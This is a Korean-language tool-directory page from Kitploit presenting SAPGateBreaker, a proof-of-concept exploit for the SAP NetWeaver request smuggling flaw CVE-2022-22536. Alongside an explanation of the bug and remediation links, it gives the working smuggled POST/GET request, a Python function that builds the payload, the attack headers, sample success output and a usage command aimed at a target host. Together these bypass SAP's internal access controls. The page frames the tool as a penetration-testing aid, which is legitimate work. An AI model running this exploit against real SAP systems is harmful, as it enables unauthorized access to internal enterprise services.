Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SAPGateBreaker-Exploit — SAPGateBreaker는 SAP NetWeaver의 치명적인 HTTP 요청 스머글링 취약점인 CVE-2022-22536에 대한 PoC 익스플로잇입니다. 조작된 Content-Length 기반 페이로드를 사용하여 ICM과 백엔드 서비스 간의 요청 파싱을 비동기화함으로써 ACL을 우회하는 방법을 시연합니다. | Kitploit
도구/GitHubGitHub/becodoexploit-mrcat/sapgatebreaker-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubbecodoexploit-mrcat/sapgatebreaker-exploit

SAPGateBreaker-Exploit

SAPGateBreaker는 SAP NetWeaver의 치명적인 HTTP 요청 스머글링 취약점인 CVE-2022-22536에 대한 PoC 익스플로잇입니다. 조작된 Content-Length 기반 페이로드를 사용하여 ICM과 백엔드 서비스 간의 요청 파싱을 비동기화함으로써 ACL을 우회하는 방법을 시연합니다.

저장소 보기웹사이트
121년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-22536: SAP의 앞문을 통한 HTTP 스마글링

SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 및 SAP Web Dispatcher는 요청 스마글링 및 요청 연결에 취약합니다. 인증되지 않은 공격자는 피해자의 요청 앞에 임의의 데이터를 추가할 수 있습니다. 이러한 방식으로 공격자는 피해자를 가장하여 기능을 실행하거나 중간 웹 캐시를 오염시킬 수 있습니다. 성공적인 공격은 시스템의 기밀성, 무결성 및 가용성을 완전히 손상시킬 수 있습니다.

SAPGateBreaker-Exploit

SAPGateBreaker는 SAP NetWeaver의 중요한 HTTP 요청 스마글링 취약점인 CVE-2022-22536에 대한 PoC 익스플로잇입니다. 이 도구는 조작된 Content-Length 기반 페이로드를 사용하여 ICM과 백엔드 서비스 간의 요청 구문 분석을 비동기화하여 ACL을 우회하는 방법을 보여줍니다.

Image Image

CVE-2022-22536으로 식별된 취약점은 SAP NetWeaver Application Server의 중요한 결함으로, 설치 환경을 HTTP 요청 스마글링 공격에 노출시킵니다. CVSS 점수 9.8의 이 취약점은 Java 및 ABAP 스택 모두에 영향을 미치며, 공격자가 액세스 제어 메커니즘을 우회하고 내부 네트워크에 있는 것처럼 내부 애플리케이션과 상호 작용할 수 있게 합니다.

HTTP 요청 스마글링 이해하기

HTTP 요청 스마글링(HRS)은 웹 인프라의 서로 다른 구성 요소(일반적으로 프록시, 로드 밸런서, 백엔드 서버)가 HTTP 요청 간의 경계를 해석하는 방식의 차이를 악용하는 고급 기술입니다. Content-Length 및 Transfer-Encoding과 같은 헤더를 조작함으로써 공격자는 백엔드 서버가 예상하는 것과 동기화되지 않은 악성 요청을 "밀반입"할 수 있습니다.

본질적으로, 프론트엔드 서버와 백엔드 서버가 하나의 요청이 끝나고 다음 요청이 시작되는 지점에 대해 불일치가 있을 때, 공격자는 더 높은 신뢰로 처리될 두 번째 숨겨진 요청을 주입할 수 있습니다. 이는 종종 WAF 우회, 캐시 오염, ACL 우회와 같은 보안 우회로 이어집니다.

CVE-2022-22536의 특성

SAP의 ICM(Internet Communication Manager)은 조작된 HTTP 요청을 부적절하게 구문 분석하여 밀반입된 요청이 내부 서비스에 도달할 수 있게 합니다. 이는 내부 서비스에 대한 직접 액세스가 제한된 분할 아키텍처에서 특히 영향력이 큽니다. 이 취약점을 악용하면 공격자는 신뢰할 수 있는 내부 네트워크에서 시작된 것처럼 보이는 요청을 발행할 수 있습니다.

이 취약점은 페이로드가 HTTP 요청 끝에 대한 상충되는 해석을 악용할 때 나타납니다. 일반적으로 Transfer-Encoding: chunked 헤더를 주입하거나 Content-Length 필드를 조작하여 비동기화를 유발합니다.

초기 페이로드 실패 및 청크 인코딩 거부

테스트 중에 정식 청크 스마글링 기술을 사용하는 페이로드는 SAP ICM에서 408 Request Timeout 응답을 초래했습니다. 이 동작은 SAP의 HTTP 스택이 예상된 방식으로 Transfer-Encoding: chunked를 지원하지 않아 전통적인 청크 기반 비동기화를 방지함을 나타냈습니다.

결과적으로 익스플로잇 방법론은 비동기화를 위해 Content-Length 헤더를 사용하는 방향으로 전환되었습니다. 빈 청크 페이로드 뒤에 유효한 보조 HTTP 요청이 오는 조작된 요청이 성공적으로 요청 경계를 우회했습니다. 이 대체 전략은 내부 액세스 제어를 우회하는 데 효과적임이 입증되었습니다.

최종 익스플로잇 전략 및 코드 구현

작동하는 익스플로잇은 Content-Length 헤더가 포함된 POST 요청을 공개 엔드포인트(/sap/admin/public/default.html)로 보내고, 그 뒤에 내부 리소스에 도달하기 위한 내장 GET 요청을 포함합니다.

root@kitploit:~
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128

0

GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close

이로 인해 성공적인 내부 액세스가 발생합니다:

root@kitploit:~
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive

구현은 일반적으로 제한된 내부 SAP URL 목록을 반복합니다. 직접 액세스를 통해 수신된 상태 코드와 밀반입된 요청을 통해 액세스할 때 수신된 상태 코드 간의 비교가 이루어집니다. 내부 액세스가 200을 반환하는 경우(직접 액세스가 403 또는 404를 반환하는 동안) 이는 스마글링 기술이 성공적으로 내부 액세스 제어를 우회했음을 나타냅니다.

페이로드 구축 로직:

root@kitploit:~
def build_smuggled_request(path):
    return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"

공격은 밀반입된 페이로드를 포함하는 조작된 POST 요청을 사용하여 실행됩니다:

root@kitploit:~
headers = {
    "Host": f"{host}:{port}",
    "Authorization": "Basic YTph",
    "Cookie": "saplb_*=(J2EE7364720)7364750",
    "Content-Type": "application/json",
    "Content-Length": str(len(body.encode("utf-8")))
}

관찰된 결과

여러 테스트 사례에서 일반적으로 403 Forbidden 또는 404 Not Found를 반환했던 /sap/public/bc/icf/info 또는 /heapdump/와 같은 엔드포인트가 밀반입된 요청을 통해 액세스했을 때 200 OK로 응답했습니다. 이는 SAP의 액세스 제어를 성공적으로 우회했음을 보여줍니다.

도구의 출력에는 전송된 페이로드와 응답 헤더가 모두 포함되어 정확한 포렌식 검증이 가능했습니다:

root@kitploit:~
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...

>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...

일반 요청:

Image

Image

익스플로잇 요청:

Image

Image

결론

CVE-2022-22536은 현대 엔터프라이즈 소프트웨어 스택에서 HTTP 요청 스마글링이 제기하는 지속적인 위협을 강조합니다. 제시된 개념 증명은 기본 취약점의 데모이며 검증 및 방어 테스트를 위한 도구 역할을 합니다.

관리자는 SAP 보안 업데이트를 적용하고 잘못된 HTTP 요청 전파를 방지하기 위해 적절한 리버스 프록시 보호를 구현할 것을 강력히 권고합니다.

CVE-2022-22536에 대한 자세한 내용은 다음에서 확인할 수 있습니다: https://nvd.nist.gov/vuln/detail/CVE-2022-22536

SAP 보안 노트: https://launchpad.support.sap.com/#/notes/3123396

SAPGateBreaker 익스플로잇

SAPGateBreaker는 SAP NetWeaver Application Server의 중요한 HTTP 요청 스마글링 취약점인 CVE-2022-22536에 대한 테스트를 자동화하는 독립형 Python 도구입니다.


사용법

root@kitploit:~
python3 sapgatebreaker.py -u http://<target-host>:<port> [--verbose]

인수:

  • -u, --url: 대상 URL (예: http://172.32.22.7:50000)
  • -v, --verbose: 각 요청 및 응답에 대한 상세 헤더 및 본문 출력을 활성화합니다

기능:

  • HTTP 헤더 검사를 통해 SAP NetWeaver 버전을 감지합니다
  • 내부 액세스 테스트를 위한 비동기화된 HTTP 요청 페이로드를 구축합니다
  • 우회를 식별하기 위해 직접 응답과 밀반입된 응답을 비교합니다
  • 추가 분석을 위해 모든 데이터를 poc.txt에 기록합니다

수정 사항: https://community.sap.com/t5/technology-blogs-by-members/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation/ba-p/13528083

면책 조항

이 도구는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 명시적 허가 없이 시스템에 대해 무단 사용하는 것은 엄격히 금지되며 관련 법률을 위반할 수 있습니다.

도구 다운로드